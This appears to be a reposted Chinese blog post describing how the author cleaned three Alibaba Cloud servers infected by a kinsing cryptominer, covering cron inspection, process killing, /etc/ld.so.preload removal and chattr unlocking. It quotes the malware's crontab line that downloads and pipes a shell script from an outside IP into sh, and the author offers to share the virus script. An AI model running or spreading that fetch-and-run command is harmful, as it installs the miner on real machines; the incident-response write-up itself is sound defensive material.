记录一次阿里云服务器被黑挖矿的事件(top不显示占用CPU进程)

大家好,今天一大早起来一看3台阿里云服务器被吓了一跳,CPU占用高达100%,运行的hadoop服务被卡死,当时完全是懵逼的状态,结果在网上找了下资料,定位到原因为被黑客攻击了,用来当矿机了,当时我懵了,我这垃圾配置,也拿来挖矿,这不是浪费时间么,不过说归说,毕竟还是很影响我使用的,下面是我处理3台服务器的一些步骤。

第一台服务器:
首先我们top一下,看top命令有没有被篡改,如果没有的话,就能一下子定位到是哪个进程占用CPU,如下图所示:
在这里插入图片描述
从这张图可以看到,PID为25415的进程占用了大量的CPU。
下面我们用ps 命令把它拿出来,如下图所示:
在这里插入图片描述
但是我把它杀掉之后,过了一会马上又重启了,一下子恍然大悟,肯定是挂了一个定时脚本,然后一个个开始检查定时任务配置文件:

[root@hadoop1 .ssh]# ls -lrt -d /etc/cron*
drwxr-xr-x. 2 root root 4096 Jun 10  2014 /etc/cron.weekly
-rw-r--r--. 1 root root  451 Jun 10  2014 /etc/crontab
drwxr-xr-x. 2 root root 4096 Jun 10  2014 /etc/cron.monthly
drwxr-xr-x. 2 root root 4096 Jun 10  2014 /etc/cron.hourly
-rw-------. 1 root root    0 Mar 31  2016 /etc/cron.deny
drwxr-xr-x. 2 root root 4096 Aug 18  2017 /etc/cron.daily
drwxr-xr-x. 2 root root 4096 Aug 18  2017 /etc/cron.d

从这里可以看到,在定时任务里面挂了个每分钟执行的定时脚本,好了,现在基本上定位到源头了,我先把定时任务给它干掉。

[root@hadoop1 .ssh]# crontab -l
#* * * * * sh /home/gbase/111.sh
#* * * * * wget -q -O - http://195.3.146.118/spr.sh | sh > /dev/null 2>&1

然后通过systemct查找进程:
在这里插入图片描述
杀死进程并删除文件:

kill -9 1341 25415;
rm -rf /var/tmp/kinsing;
rm -rf /tmp/kdevtmpfsi

完了之后,top观察了5分钟,第一台服务器就搞定了。

第二台服务器:
在这里插入图片描述
从上图可以看到,第二台服务器貌似要高级一点,竟然在top里面找不到占用CPU的进程,肯定top进程被篡改了,找了一些资料,最后我用htop命令查看,找到了该进程:
在这里插入图片描述
然后还是按照之前处理第一台服务器的方法进行处理,这里需要注意的就是,我处理了后过了几分钟进程又起来了,但是top和htop都无法看到。最后我执行了 rm -rf /etc/ld.so.preload 这个命令后,在top里面就显示出来了。

第三台服务器:
在这里插入图片描述
有了PID,通过systemct 找到他的服务:
在这里插入图片描述
从这里可以看到他是在后台挂了一个脚本,既然都知道它的脚本路径,后面的就好处理了。
删除对应的脚本以及文件即可。

总结:以上操作可能会出现root用户都无法删除的情况,那是因为病毒给文件加了锁,通过chattr -i 对应文件就可以解锁然后删除了,最后我把病毒的脚本拷贝下来了,有需要病毒脚本的朋友可以找我拿。

猜你喜欢

转载自blog.csdn.net/qq_36588424/article/details/111918099